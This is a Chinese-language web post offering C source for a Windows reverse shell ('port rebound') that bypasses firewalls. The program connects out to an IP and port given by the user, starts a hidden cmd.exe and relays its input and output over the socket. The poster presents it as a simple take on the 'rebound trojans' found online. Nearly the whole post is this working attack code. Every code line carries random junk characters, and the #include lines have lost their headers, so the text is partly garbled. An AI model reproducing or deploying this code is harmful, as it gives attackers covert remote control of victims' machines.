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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 IU\h,Ug  
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/* ============================== |a=7P  
Rebound port in Windows NT {T3~js   
By wind,2006/7 7GRPPh<4  
===============================*/ *fI\|%K  
#include n( zzH  
#include iUlSRfrC$#  
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#pragma comment(lib,"wsock32.lib") 8|tnhA]~  
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void OutputShell(); bycnh  
SOCKET sClient; Zou;o9Ww  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; a~Yq0d?`D  
%v[KLMo'(  
void main(int argc,char **argv) 9>= S@hVMd  
{ bT`et*]  
WSADATA stWsaData; 0qL.Rnt  
int nRet; 36}&{A  
SOCKADDR_IN stSaiClient,stSaiServer; V0xO:7G^  
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if(argc != 3) j:U6q,f]  
{ =nv/ r  
printf("Useage:\n\rRebound DestIP DestPort\n"); \pXo~;E\  
return; *mn"G K6  
} 7=a e^GKo  
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WSAStartup(MAKEWORD(2,2),&stWsaData); E+J+fi  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |OIU)53A-  
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stSaiClient.sin_family = AF_INET; h]&o)%{4  
stSaiClient.sin_port = htons(0); _7 ^:1i~:.  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <(l`zLf4p  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [= Xb*~  
{ IGo+O*dMw  
printf("Bind Socket Failed!\n"); Jt3*(+J>/  
return; 8d(l)[GZt  
} Dlz1"|SF  
}j{Z &(K  
stSaiServer.sin_family = AF_INET; gUme({h&|  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); oiQ:&$y  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 'q l<R0g  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) BOv^L?)*Z  
{ WQMoAPfqL  
printf("Connect Error!"); <4TF ]5  
return; b?:?"   
} G-'CjiMu  
OutputShell(); izR#XeBm  
} u24XuSe$  
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void OutputShell() S7j U:CLJ  
{ \zhCGDm1_  
char szBuff[1024]; ;f /2u  
SECURITY_ATTRIBUTES stSecurityAttributes; )*&61  
OSVERSIONINFO stOsversionInfo; NG: f>R  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; e^UUR-K%  
STARTUPINFO stStartupInfo; y w:=$e5  
char *szShell; # ELYPp]6  
PROCESS_INFORMATION stProcessInformation; %- Ga  ^[  
unsigned long lBytesRead; _O&P!hI  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); rVwW%&  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ,mM7g  
stSecurityAttributes.lpSecurityDescriptor = 0; <DhuY/o  
stSecurityAttributes.bInheritHandle = TRUE; 2\CZ"a#[  
]PB95%  
7Ac.^rv5  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); jWso'K  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); y0'WB`hNQ  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 'N`x@(  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BwVq:)P/R  
stStartupInfo.wShowWindow = SW_HIDE; vd/BO  
stStartupInfo.hStdInput = hReadPipe; 8L[\(~Zf  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; #4V->I  
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GetVersionEx(&stOsversionInfo); EjP)e;  
/sSM<r]5j  
switch(stOsversionInfo.dwPlatformId) @eYD@!  
{ E,QD6<?[  
case 1: AR c  
szShell = "command.com"; %!R\-Vej  
break; % -.V6}V  
default: f7Gs1{  
szShell = "cmd.exe"; 57EL&V%j  
break; X$eR RSW  
} B[5<&  
Gz2\&rmN  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); QV -ZP'e^  
m?=J;r"Re  
send(sClient,szMsg,77,0); P` y.3aK  
while(1) (]-RL A>  
{ ES)_X:\X?V  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); eWXR #g!%>  
if(lBytesRead) Wr+1e1[  
{ RtEx WTc  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Q1!+wC   
send(sClient,szBuff,lBytesRead,0); L;=LAQ6[  
} 4^!%>V"d/  
else |#Q0UM|'Q  
{ EmyE%$*T  
lBytesRead=recv(sClient,szBuff,1024,0); 1w+)ne_&  
if(lBytesRead<=0) break; gFXz:!A  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 31N5dIi,  
} fn8|@)J  
} Q)5V3Q]@^  
cDz^jC   
return; C1OiMb(:  
}
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